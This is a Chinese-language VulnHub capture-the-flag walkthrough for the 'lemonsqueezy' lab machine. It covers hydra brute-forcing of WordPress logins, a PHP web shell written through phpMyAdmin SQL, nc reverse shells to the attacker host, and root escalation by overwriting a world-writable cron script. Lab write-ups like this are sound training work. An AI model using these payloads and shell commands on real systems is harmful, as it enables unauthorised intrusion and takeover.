vulnhub（15）：lemonsqueezy（hydra爆破、计划任务提权）

端口

nmap -Pn -p- 192.168.72.173
​
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:B8:2D:FC (VMware)

打点

80端口

主页面是apache2的默认页面，没有robots.txt，我们直接扫描目录

gobuster dir -u http://192.168.72.173/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
​
/manual/              (Status: 200) [Size: 626]
/wordpress/           (Status: 200) [Size: 52276]
/javascript/          (Status: 403) [Size: 279]
/phpmyadmin/          (Status: 200) [Size: 10531]

发现wordpress之后，查看wordpress主页

主页翻了翻，没有什么敏感信息，尝试hydra爆破

hydra爆破

burp抓包保存请求头到raj文件中，raj文件如下

Host: lemonsqueezy
User-Agent: Mozilla/5.0 (Hydra Proxy)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lemonsqueezy/wordpress/wp-login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://lemonsqueezy
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

写python脚本，将数据包中的信息转成hydra命令

file_array = []
​
file = input(str())
​
with open(file,"r") as f:
    for line in f:
        file_array.append(":H=" + line.strip().replace(":","\\:"))
​
header=""
​
for line in file_array:
    header += line
    print(line)
print(header)

结果

:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1

hydra爆破用户名

hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -p 123 lemonsqueezy http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Flemonsqueezy%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate
:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109
:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1:Invalid"
​
结果爆破出两个用户，保存到usernames.txt文件：
lemon
orange

hydra爆破密码

hydra -L usernames.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt lemonsqueezy http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Flemonsqueezy%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate
:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109
:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1:incorrect"
​
爆破出密码：
[80][http-post-form] host: lemonsqueezy   login: orange   password: ginger

登陆后台

看到一个敏感信息，在以Keep this safe!为标题的post下的内容如下

n0t1n@w0rdl1st!

登录phpmyadmin

orange
n0t1n@w0rdl1st!

sql语句上传木马

select "<?php system($_GET['a'])?>" into outfile "/var/www/html/wordpress/1.php"

反弹shell

http://lemonsqueezy/wordpress/1.php?a=nc 192.168.72.162 1234 -e /bin/bash

提权

crontab

运行了如下脚本
*/2 *   * * *   root    /etc/logrotate.d/logrotate
​
此外这个脚本是777权限

反弹shell覆盖此文件

echo "mkfifo /tmp/f; nc 192.168.72.162 223 </tmp/f | bash > /tmp/f 2>&1;rm -rf /tmp/f" > /etc/logrotate.d/logrotate
​
攻击主机监听：
nc -nvlp 223

root

[listening on [any] 223 ...
connect to [192.168.72.162] from (UNKNOWN) [192.168.72.173] 59534
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cd /root
ls
root.txt
cat root.txt
NvbWV0aW1lcyBhZ2FpbnN0IHlvdXIgd2lsbC4=]()

原文地址：https://blog.csdn.net/anddddoooo/article/details/142942173

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！